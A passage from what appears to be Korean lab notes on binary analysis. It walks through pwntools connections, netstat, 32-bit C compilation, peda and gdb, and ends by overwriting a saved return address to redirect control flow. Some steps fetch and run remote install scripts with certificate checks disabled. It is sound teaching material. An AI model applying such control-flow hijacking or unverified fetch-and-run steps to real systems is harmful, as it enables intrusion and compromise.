&#39;sh-4.1$ .  ..  .bash_history  .bash_logout  .bash_profile  .bashrc\n&#39;
&gt;&gt;&gt; sh.sendline(b&#39;ls -al&#39;)
&gt;&gt;&gt; sh.recvline().decode()
&#39;sh-4.1$ 합계 16\n&#39;
&gt;&gt;&gt; sh.recvline().decode()
&#39;drwx------. 2 user1 users  83  3월  4 07:43 .\n&#39;
&gt;&gt;&gt; sh.recvline().decode()
&#39;drwxr-xr-x. 6 root  root   66  3월  4 07:16 ..\n&#39;
&gt;&gt;&gt; sh.recvline().decode()
&#39;-rw-------. 1 user1 users   9  3월  4 16:09 .bash_history\n&#39;
&gt;&gt;&gt; sh.recvline().decode()
&#39;-rw-r--r--. 1 user1 users  18  7월 18  2013 .bash_logout\n&#39;
&gt;&gt;&gt; sh.recvline().decode()
&#39;-rw-r--r--. 1 user1 users 176  7월 18  2013 .bash_profile\n&#39;
&gt;&gt;&gt; sh.recvline().decode()
&#39;-rw-r--r--. 1 user1 users 124  7월 18  2013 .bashrc\n&#39;
&gt;&gt;&gt; s.close()
[*] Closed connection to &#39;127.0.0.1&#39;
&gt;&gt;&gt; quit()
[*] Closed SSH channel with 127.0.0.1
(pwntoolsProject) [root@localhost ~]# 

4. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0      0 200.200.200.3:60174     113.29.189.165:80       TIME_WAIT  
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp        0      0 127.0.0.1:35936         127.0.0.1:22            ESTABLISHED  &lt;-- pwntools로 연결된 부분
tcp        0      0 127.0.0.1:22            127.0.0.1:35936         ESTABLISHED  &lt;-- pwntools로 연결된 부분
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN  


[root@localhost ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED  
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp        0      0 127.0.0.1:35936         127.0.0.1:22            TIME_WAIT    &lt;-- pwntools로 접속이 종료된 부분
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     
</code></pre><blockquote>
<p><strong>실습&gt; pwntools를 이용한 nc 접속하기</strong></p>
</blockquote>
<pre><code>nc 접속 형식: 
객체변수명 = remote(&#39;IP Address&#39;, Port)

Server: nc
Client: pwntools

1. nc 포트 오픈
[root@localhost ~]# yum -y install nc
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000

2. Server 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; from pwn import *

(1). 서버로 접속한다.
&gt;&gt;&gt; r = remote(&#39;127.0.0.1&#39;, 8000)  
[x] Opening connection to 127.0.0.1 on port 8000
[x] Opening connection to 127.0.0.1 on port 8000: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 8000: Done

(2.1). Hello\n 메세지를 서버로 전송한다.
&gt;&gt;&gt; r.send(b&#39;Hello\n&#39;)

(3.1). pwntools!\n 메세지를 서버로 전송한다.
&gt;&gt;&gt; r.send(b&#39;pwntools!\n&#39;)

(4.2). 서버가 전송한 Hello...\n 메세지를 받아서 문자열로 변환한 후 화면에 출력한다. 
&gt;&gt;&gt; r.recv(100).decode()
&#39;Hello...\n&#39;

(5.1). 대화형 모드로 전환한다.
&gt;&gt;&gt; r.interactive()
[*] Switching to interactive mode
hello  &lt;-- (5.2). hello\n 메세지를 서버로 전송한다.
test   &lt;-- (5.4). test\n  메세지를 서버로 전송한다.
^C[*] Interrupted  &lt;-- (5.6). 대화형 모드를 중지한다.
&gt;&gt;&gt; r.send(&quot;^^*&quot;)  &lt;-- (6.1). ^^* 메세지를 서버로 전송한다. (엔터키 없음, Byte로 전송하지 않았으므로 BytesWarning이 발생함.)
&lt;stdin&gt;:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
&gt;&gt;&gt; r.send(b&quot;^^*&quot;) &lt;-- (7.1). ^^* 메세지를 서버로 전송한다. (엔터키 없음)
&gt;&gt;&gt; r.sendline(b&quot;^^*&quot;) &lt;-- (8.1). ^^* 메세지를 서버로 전송한다. (엔터키 있음)
&gt;&gt;&gt; r.close()  &lt;-- (9.1). 접속을 종료한다.
[*] Closed connection to 127.0.0.1 port 8000
&gt;&gt;&gt; quit()
(pwntoolsProject) [root@localhost ~]# 

3. Server 분석
서버쪽에서 확인한다.
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47360.  &lt;-- (1). 클라이언트가 서버로 접속하면 연결된 메세지가 출력된다.
Hello      &lt;-- (2.2). 클라이언트가 전송한 Hello\n 메세지가 화면에 출력된다.
pwntools!  &lt;-- (3.2). 클라이언트가 전송한 pwntools!\n 메세지가 화면에 출력된다.
Hello...   &lt;-- (4.1). Hello...\n 메세지를 클라이언트로 전송한다.
hello      &lt;-- (5.3). 클라이언트가 전송한 hello\n 메세지가 화면에 출력된다.
test       &lt;-- (5.5). 클라이언트가 전송한 test\n  메세지를 서버로 전송한다.
^^*^^*^^*  &lt;-- (6.2). (7.2). 클라이언트가 전송한 ^^* 메세지가 화면에 출력된다. (엔터키 없음) (8.2). 클라이언트가 전송한 ^^* 메세지가 화면에 출력된다. (엔터키 있음) 
[root@localhost ~]#   &lt;-- (9.2). 클라이언트가 접속을 종료하면 nc가 종료된다.
</code></pre><blockquote>
<p><strong>실습&gt; pwntools를 이용한 웹서버 접속하기</strong></p>
</blockquote>
<pre><code>(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; from pwn import *
&gt;&gt;&gt; r = remote(&#39;linuxmaster.net&#39;, 80)
[x] Opening connection to linuxmaster.net on port 80
[x] Opening connection to linuxmaster.net on port 80: Trying 45.120.69.175
[+] Opening connection to linuxmaster.net on port 80: Done
&gt;&gt;&gt; r.send(b&quot;GET / HTTP/1.1\r\n&quot;)
&gt;&gt;&gt; r.send(b&quot;Host: www.linuxmaster.net\r\n&quot;)
&gt;&gt;&gt; r.send(b&quot;\r\n\r\n&quot;)
&gt;&gt;&gt; responseData = r.recv(1000)
&gt;&gt;&gt; r.close()
[*] Closed connection to linuxmaster.net port 80
&gt;&gt;&gt; print(responseData)
b&#39;HTTP/1.1 302 Found\r\nDate: Sun, 19 Mar 2023 12:26:51 GMT\r\nServer: Apache\r\nLocation: https://www.linuxmaster.net/\r\nContent-Length: 212\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;\n&lt;html&gt;&lt;head&gt;\n&lt;title&gt;302 Found&lt;/title&gt;\n&lt;/head&gt;&lt;body&gt;\n&lt;h1&gt;Found&lt;/h1&gt;\n&lt;p&gt;The document has moved &lt;a href=&quot;https://www.linuxmaster.net/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;\n&lt;/body&gt;&lt;/html&gt;\n&#39;
&gt;&gt;&gt; print(responseData.decode())
HTTP/1.1 302 Found
Date: Sun, 19 Mar 2023 12:26:51 GMT
Server: Apache
Location: https://www.linuxmaster.net/
Content-Length: 212
Content-Type: text/html; charset=iso-8859-1

&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;
&lt;html&gt;&lt;head&gt;
&lt;title&gt;302 Found&lt;/title&gt;
&lt;/head&gt;&lt;body&gt;
&lt;h1&gt;Found&lt;/h1&gt;
&lt;p&gt;The document has moved &lt;a href=&quot;https://www.linuxmaster.net/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/body&gt;&lt;/html&gt;

&gt;&gt;&gt; quit()
</code></pre><blockquote>
<p><strong>실습&gt; 소스코드 컴파일하는 방법</strong></p>
</blockquote>
<pre><code># cd
# wget --no-check-certificate http://linuxmaster.net/tools/gccInstall.sh
# chmod 755 gccInstall.sh
# ./gccInstall.sh
# wget https://linuxmaster.net/tools/cLanguage.tar.gz --no-check-certificate
# tar xzf cLanguage.tar.gz
# cd cLanguage/Day01

# vi c_Chap01Ex01.c
파일이 euckr로 저장되어 있으므로 한글을 사용하기 위해서는 소스코드를 모두 utf8로 수정해야 한다.
한글이 필요없다면 변경하지 않아도 된다.
:set fileencoding=utf8
:w
</code></pre><blockquote>
<p><strong>실습&gt; gdb 사용하기</strong></p>
</blockquote>
<pre><code>02.프로그래밍/02.C언어/gdb분석.txt

실습&gt; 소스코드를 32bit로 컴파일 하기

소스코드를 32bit로 컴파일하기 위해서는 -m32 옵션을 사용한다.
gdb로 바이너리를 분석하기 위해서 먼저 32bit로 분석하고 익숙해지면 64bit로 분석한다.

gdb로 분석하기 위해서 32bit로 컴파일한다.
# gcc -m32 -g -o c_Chap01Ex01 c_Chap01Ex01.c
# ./c_Chap01Ex01
Hello C!

실습&gt; rh-python 3.8 설치
# wget --no-check-certificate http://linuxmaster.net/tools/rh-python38.sh 
# chmod 755 rh-python38.sh 
# ./rh-python38.sh 
# python -V
Python 3.8.13
</code></pre><blockquote>
<p><strong>실습&gt; peda 설치하기</strong></p>
</blockquote>
<p>peda는 블랙햇에서 발표된 툴로 화이트해커들이 바이너리를 분석하기 위해서 사용하는 툴이다.
peda는 python2와 python3가 있고 여기서는 python3 용 peda를 설치한다.</p>
<pre><code># yum -y install git
# git clone https://github.com/zachriggle/peda ~/peda
# echo &quot;source ~/peda/peda.py&quot; &gt;&gt; ~/.gdbinit
# gdb test1
gdb-peda$ b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
gdb-peda$ r
Starting program: /root/test1 
[------------------------------------------registers-------------------------------------------]
EAX: 0x1 
EBX: 0xf7fce000 --&gt; 0x1c6d88 
ECX: 0xac8d1dd8 
EDX: 0xffffd514 --&gt; 0xf7fce000 --&gt; 0x1c6d88 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd4e8 --&gt; 0x0 
ESP: 0xffffd4c0 --&gt; 0x1 
EIP: 0x8048416 (&lt;main+9&gt;:    mov    DWORD PTR [esp+0x1c],0x7)
[---------------------------------------------code---------------------------------------------]
   0x804840e &lt;main+1&gt;:    mov    ebp,esp
   0x8048410 &lt;main+3&gt;:    and    esp,0xfffffff0
   0x8048413 &lt;main+6&gt;:    sub    esp,0x20
=&gt; 0x8048416 &lt;main+9&gt;:    mov    DWORD PTR [esp+0x1c],0x7
   0x804841e &lt;main+17&gt;:    mov    eax,DWORD PTR [esp+0x1c]
   0x8048422 &lt;main+21&gt;:    mov    DWORD PTR [esp+0x4],eax
   0x8048426 &lt;main+25&gt;:    mov    DWORD PTR [esp],0x80484d4
   0x804842d &lt;main+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;
[--------------------------------------------stack---------------------------------------------]
00:0000| esp 0xffffd4c0 --&gt; 0x1 
01:0004|     0xffffd4c4 --&gt; 0xffffd584 --&gt; 0xffffd6d4 (&quot;/root/test1&quot;)
02:0008|     0xffffd4c8 --&gt; 0xffffd58c --&gt; 0xffffd6e0 (&quot;MANPATH=/opt/rh&quot;...)
03:0012|     0xffffd4cc --&gt; 0xf7e399ed (&lt;__cxa_atexit_internal+29&gt;:    test   eax,eax)
04:0016|     0xffffd4d0 --&gt; 0xf7fce3c4 --&gt; 0xf7fcf200 --&gt; 0x0 
05:0020|     0xffffd4d4 --&gt; 0x8000 
06:0024|     0xffffd4d8 --&gt; 0x804844b (&lt;__libc_csu_init+11&gt;:    add    ebx,0x1bb5)
07:0028|     0xffffd4dc --&gt; 0xf7fce000 --&gt; 0x1c6d88 
[----------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 1, main () at test1.c:13
13        int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686

# rm -f .gdbinit 

gdb 에서 필요한 명령어 
break(b): bp 설정 (ex: b main)
run(r)  : 프로세스 실행 (ex: r)
next(n) : eip가 가리키는 코드를 실행하고 다음 코드로 이동한다. (함수를 건너뛴다.) 
- n
- n 3
next instructiron(ni) : 기계어 코드 명령어 하나 하나 실행 
- ni
- ni 3
step: eip가 가리키는 코드를 실행하고 다음 코드로 이동한다. (함수 안으로 들어간다.)
- n
- n 3
step instructiron(si): 기계어 코드 명령어 하나 하나 실행한다.
- s
- s 3
continue(c): 다음 BP까지 실행
- c
print(p): 변수 출력
- p i
examine(x): 메모리 조사
- x/16xw $esp
- x/16xw &amp;hello
display(disp): 변수/레지스터 모니터링
- disp $eip


# gdb test1
Reading symbols from /root/test1...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
(gdb) r
Starting program: /root/test1 

Breakpoint 1, main () at test1.c:13
13        int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) disas /m main
Dump of assembler code for function main:
12    {
   0x0804840d &lt;+0&gt;:    push   %ebp
   0x0804840e &lt;+1&gt;:    mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:    and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:    sub    $0x20,%esp

13        int i = 7;
=&gt; 0x08048416 &lt;+9&gt;:    movl   $0x7,0x1c(%esp)

14    
15        printf(&quot;i = %d\n&quot;, i);  // i = 7
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;

16    
17        return 0;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax

18    }
   0x08048437 &lt;+42&gt;:    leave  
   0x08048438 &lt;+43&gt;:    ret    

End of assembler dump.
(gdb) n
15        printf(&quot;i = %d\n&quot;, i);  // i = 7
(gdb) i r
eax            0x1    1
ecx            0xf5a32c57    -173855657
edx            0xffffd514    -10988
ebx            0xf7fce000    -134422528
esp            0xffffd4c0    0xffffd4c0
ebp            0xffffd4e8    0xffffd4e8
esi            0x0    0
edi            0x0    0
eip            0x804841e    0x804841e &lt;main+17&gt;
eflags         0x286    [ PF SF IF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0    0
gs             0x63    99
(gdb) 
(gdb) disas main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:    push   %ebp
   0x0804840e &lt;+1&gt;:    mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:    and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:    sub    $0x20,%esp
   0x08048416 &lt;+9&gt;:    movl   $0x7,0x1c(%esp)
=&gt; 0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax
   0x08048437 &lt;+42&gt;:    leave  
   0x08048438 &lt;+43&gt;:    ret    
End of assembler dump.
(gdb) i r $eip
eip            0x804841e    0x804841e &lt;main+17&gt;
(gdb) n
i = 7
17        return 0;
(gdb) i r $eip
eip            0x8048432    0x8048432 &lt;main+37&gt;
(gdb) disas main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:    push   %ebp
   0x0804840e &lt;+1&gt;:    mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:    and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:    sub    $0x20,%esp
   0x08048416 &lt;+9&gt;:    movl   $0x7,0x1c(%esp)
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;
=&gt; 0x08048432 &lt;+37&gt;:    mov    $0x0,%eax
   0x08048437 &lt;+42&gt;:    leave  
   0x08048438 &lt;+43&gt;:    ret    
End of assembler dump.
(gdb) n
18    }
(gdb) n
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
(gdb) n
Single stepping until exit from function __libc_start_main,
which has no line number information.
[Inferior 1 (process 1894) exited normally]
(gdb) c
The program is not being run.


# gdb test1
Reading symbols from /root/test1...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
(gdb) r
Starting program: /root/test1 

Breakpoint 1, main () at test1.c:13
13        int i = 7;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686
(gdb) disas main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:    push   %ebp
   0x0804840e &lt;+1&gt;:    mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:    and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:    sub    $0x20,%esp
=&gt; 0x08048416 &lt;+9&gt;:    movl   $0x7,0x1c(%esp)
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax
   0x08048437 &lt;+42&gt;:    leave  
   0x08048438 &lt;+43&gt;:    ret    
End of assembler dump.
(gdb) disas /m main
Dump of assembler code for function main:
12    {
   0x0804840d &lt;+0&gt;:    push   %ebp
   0x0804840e &lt;+1&gt;:    mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:    and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:    sub    $0x20,%esp

13        int i = 7;
=&gt; 0x08048416 &lt;+9&gt;:    movl   $0x7,0x1c(%esp)

14    
15        printf(&quot;i = %d\n&quot;, i);  // i = 7
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;

16    
17        return 0;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax

18    }
   0x08048437 &lt;+42&gt;:    leave  
   0x08048438 &lt;+43&gt;:    ret    

End of assembler dump.
(gdb) n
15        printf(&quot;i = %d\n&quot;, i);  // i = 7
(gdb) disas /m main
Dump of assembler code for function main:
12    {
   0x0804840d &lt;+0&gt;:    push   %ebp
   0x0804840e &lt;+1&gt;:    mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:    and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:    sub    $0x20,%esp

13        int i = 7;
   0x08048416 &lt;+9&gt;:    movl   $0x7,0x1c(%esp)

14    
15        printf(&quot;i = %d\n&quot;, i);  // i = 7
=&gt; 0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;

16    
17        return 0;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax

18    }
   0x08048437 &lt;+42&gt;:    leave  
   0x08048438 &lt;+43&gt;:    ret    

End of assembler dump.
(gdb) i r $eip
eip            0x804841e    0x804841e &lt;main+17&gt;
(gdb) ni
0x08048422    15        printf(&quot;i = %d\n&quot;, i);  // i = 7
(gdb) i r $eip
eip            0x8048422    0x8048422 &lt;main+21&gt;
(gdb) ni
0x08048426    15        printf(&quot;i = %d\n&quot;, i);  // i = 7
(gdb) i r $eip
eip            0x8048426    0x8048426 &lt;main+25&gt;
(gdb) ni
0x0804842d    15        printf(&quot;i = %d\n&quot;, i);  // i = 7
(gdb) i r $eip
eip            0x804842d    0x804842d &lt;main+32&gt;
(gdb) ni
i = 7
17        return 0;
(gdb) i r $eax
eax            0x6    6
(gdb) ni
18    }
(gdb) i r $eax
eax            0x0    0
(gdb) c
Continuing.
[Inferior 1 (process 1900) exited normally]
(gdb) q
</code></pre><blockquote>
<p><strong>실습&gt; gdb로 함수 분석하기</strong></p>
</blockquote>
<pre><code>1. 소스코드 다운로드
# wget https://linuxmaster.net/tools/cLanguage.tar.gz --no-check-certificate
# tar xzf cLanguage.tar.gz
# cd cLanguage/Day07

2. 소스코드 작성
vi 에서 소스코드를 utf8로 변경한다.
# vi c_Chap07Ex01.c
:set fileencoding=utf8
:wq

/*
 * 파일명: c_Chap07Ex01.c
 * 프로그램 설명: 함수 예제
 * 작성자: 리눅스마스터넷 
 */

#include &lt;stdio.h&gt;

//  함수 선언
int plus(int value1, int value2);

int main()
{
    int a;

    a = plus(1, 2);  // 함수 호출

    printf(&quot;a = %d\n&quot;, a);  // 3
    printf(&quot;plus(3,5) = %d\n&quot;, plus(3, 5));  // 8

    return 0;
}

//  함수 정의
int plus(int value1, int value2)
{
    return value1 + value2;
}

3. 컴파일 및 실행
-m32 : 32bit 옵션
-g : 디버깅 옵션
-o c_Chap07Ex01: 실행파일
# gcc -m32 -g -o c_Chap07Ex01 c_Chap07Ex01.c 

# ./c_Chap07Ex01 
a = 3
plus(3,5) = 8

4. 디버깅
# gdb c_Chap07Ex01
Reading symbols from /root/cLanguage/Day07/c_Chap07Ex01...done.
(gdb) b main
(gdb) display $eip
(gdb) r
Starting program: /root/cLanguage/Day07/c_Chap07Ex01 

Breakpoint 1, main () at c_Chap07Ex01.c:16
16        a = plus(1, 2);  // 함수 호출
1: $eip = (void (*)()) 0x8048416 &lt;main+9&gt;
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686

(gdb) s
plus (value1=1, value2=2) at c_Chap07Ex01.c:27
27        return value1 + value2;
1: $eip = (void (*)()) 0x8048470 &lt;plus+3&gt;

(gdb) disas /m plus
Dump of assembler code for function plus:
26    {
   0x0804846d &lt;+0&gt;:    push   %ebp
   0x0804846e &lt;+1&gt;:    mov    %esp,%ebp

27        return value1 + value2;
=&gt; 0x08048470 &lt;+3&gt;:    mov    0xc(%ebp),%eax
   0x08048473 &lt;+6&gt;:    mov    0x8(%ebp),%edx
   0x08048476 &lt;+9&gt;:    add    %edx,%eax

28    }
   0x08048478 &lt;+11&gt;:    pop    %ebp
   0x08048479 &lt;+12&gt;:    ret    

End of assembler dump.
(gdb) ni
0x08048473    27        return value1 + value2;
1: $eip = (void (*)()) 0x8048473 &lt;plus+6&gt;
(gdb) ni
0x08048476    27        return value1 + value2;
1: $eip = (void (*)()) 0x8048476 &lt;plus+9&gt;
(gdb) i r $eax
eax            0x2    2
(gdb) ni
28    }
1: $eip = (void (*)()) 0x8048478 &lt;plus+11&gt;
(gdb) i r $eax
eax            0x3    3
(gdb) c
Continuing.
a = 3
plus(3,5) = 8
[Inferior 1 (process 1948) exited normally]
</code></pre><blockquote>
<p><strong>실습&gt; gdb에서 EIP 주소 변경하기</strong></p>
</blockquote>
<pre><code>레지스터:
CPU안에 있는 고속의 메모리 공간으로 CPU가 빠른 처리를 위해서 레지스터에 값을 저장하고 이용한다.

32bit 기준
EIP: 다음에 실행한 메모리 주소

/*
 * 파일명: gdbEIP.c
 * 프로그램 설명: gdb에서 EIP 주소 변경하기
 * 작성자: 리눅스마스터넷
 */

#include &lt;stdio.h&gt;

void hello();

int main()
{
    printf(&quot;Hello\n&quot;);
    return 0;
}

void hello()
{
    printf(&quot;Hello C!\n&quot;);
}

# gcc -m32 -g -o gdbEIP gdbEIP.c 
# ./gdbEIP 
Hello

# gdb gdbEIP
(gdb) b main

(gdb) disas /m main
Dump of assembler code for function main:
12    {
   0x0804840d &lt;+0&gt;:    push   %ebp
   0x0804840e &lt;+1&gt;:    mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:    and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:    sub    $0x10,%esp

13        printf(&quot;Hello\n&quot;);
=&gt; 0x08048416 &lt;+9&gt;:    movl   $0x80484d4,(%esp)
   0x0804841d &lt;+16&gt;:    call   0x80482e0 &lt;puts@plt&gt;

14        return 0;
   0x08048422 &lt;+21&gt;:    mov    $0x0,%eax

15    }
   0x08048427 &lt;+26&gt;:    leave  
   0x08048428 &lt;+27&gt;:    ret    

(gdb) r
(gdb) disp $eip
1: $eip = (void (*)()) 0x8048416 &lt;main+9&gt;

(gdb) ni
0x0804841d    13        printf(&quot;Hello\n&quot;);
1: $eip = (void (*)()) 0x804841d &lt;main+16&gt;

(gdb) ni
Hello
14        return 0;
1: $eip = (void (*)()) 0x8048422 &lt;main+21&gt;

(gdb) ni
15    }
1: $eip = (void (*)()) 0x8048427 &lt;main+26&gt;

(gdb) ni
0x08048428    15    }
1: $eip = (void (*)()) 0x8048428 &lt;main+27&gt;

(gdb) ni
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
1: $eip = (void (*)()) 0xf7e212d3 &lt;__libc_start_main+243&gt;

(gdb) c
Continuing.
[Inferior 1 (process 1989) exited normally]

프로세스를 다시 실행시킨다.
(gdb) r
Starting program: /root/gdbEIP 

Breakpoint 1, main () at gdbEIP.c:13
13        printf(&quot;Hello\n&quot;);
1: $eip = (void (*)()) 0x8048416 &lt;main+9&gt;
(gdb) n
Hello
14        return 0;
1: $eip = (void (*)()) 0x8048422 &lt;main+21&gt;
(gdb) x/16xw $ebp
0xffffd4e8:    0x00000000    0xf7e212d3    0x00000001    0xffffd584
                        ~~~~~~~~~~
                           RET (리턴 Address가 저장된 곳)
                           main()함수가 종료되면 돌아가야할 메모리 주소
0xffffd4f8:    0xffffd58c    0xf7fd8738    0x00000001    0x00000001
0xffffd508:    0x00000000    0x0804a010    0x0804821c    0xf7fce000
0xffffd518:    0x00000000    0x00000000    0x00000000    0x5b482663
(gdb) n
15    }
1: $eip = (void (*)()) 0x8048427 &lt;main+26&gt;
(gdb) n
0xf7e212d3 in __libc_start_main () from /lib/libc.so.6
1: $eip = (void (*)()) 0xf7e212d3 &lt;__libc_start_main+243&gt;


(gdb) disas hello
Dump of assembler code for function hello:
   0x08048429 &lt;+0&gt;:    push   %ebp
   0x0804842a &lt;+1&gt;:    mov    %esp,%ebp
   0x0804842c &lt;+3&gt;:    sub    $0x18,%esp
   0x0804842f &lt;+6&gt;:    movl   $0x80484da,(%esp)
   0x08048436 &lt;+13&gt;:    call   0x80482e0 &lt;puts@plt&gt;
   0x0804843b &lt;+18&gt;:    leave  
   0x0804843c &lt;+19&gt;:    ret    
End of assembler dump.

(gdb) p &amp;hello
$1 = (void (*)()) 0x8048429 &lt;hello&gt;


(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/gdbEIP 

Breakpoint 1, main () at gdbEIP.c:13
13        printf(&quot;Hello\n&quot;);
1: $eip = (void (*)()) 0x8048416 &lt;main+9&gt;
(gdb) x/16xw $ebp
0xffffd4e8:    0x00000000    0xf7e212d3    0x00000001    0xffffd584
                        ~~~~~~~~~~
                           RET &lt;-- main() 함수가 끝나고 돌아갈 주소 (hello 함수) 주소로 변경
0xffffd4f8:    0xffffd58c    0xf7fd8738    0x00000001    0x00000001
0xffffd508:    0x00000000    0x0804a010    0x0804821c    0xf7fce000
0xffffd518:    0x00000000    0x00000000    0x00000000    0xaf09c943

RET의 주소를 hello 주소로 변경한다.
(gdb) set {int *}0xffffd4ec = &amp;hello
(gdb) x/16xw $ebp
0xffffd4e8:    0x00000000    0x08048429    0x00000001    0xffffd584
0xffffd4f8:    0xffffd58c    0xf7fd8738    0x00000001    0x00000001
0xffffd508:    0x00000000    0x0804a010    0x0804821c    0xf7fce000
0xffffd518:    0x00000000    0x00000000    0x00000000    0xaf09c943
(gdb) ni
0x0804841d    13        printf(&quot;Hello\n&quot;);
1: $eip = (void (*)()) 0x804841d &lt;main+16&gt;
(gdb) ni
Hello
14        return 0;
1: $eip = (void (*)()) 0x8048422 &lt;main+21&gt;
(gdb) ni
15    }
1: $eip = (void (*)()) 0x8048427 &lt;main+26&gt;
(gdb) ni
0x08048428    15    }
1: $eip = (void (*)()) 0x8048428 &lt;main+27&gt;
(gdb) ni
hello () at gdbEIP.c:18
18    {
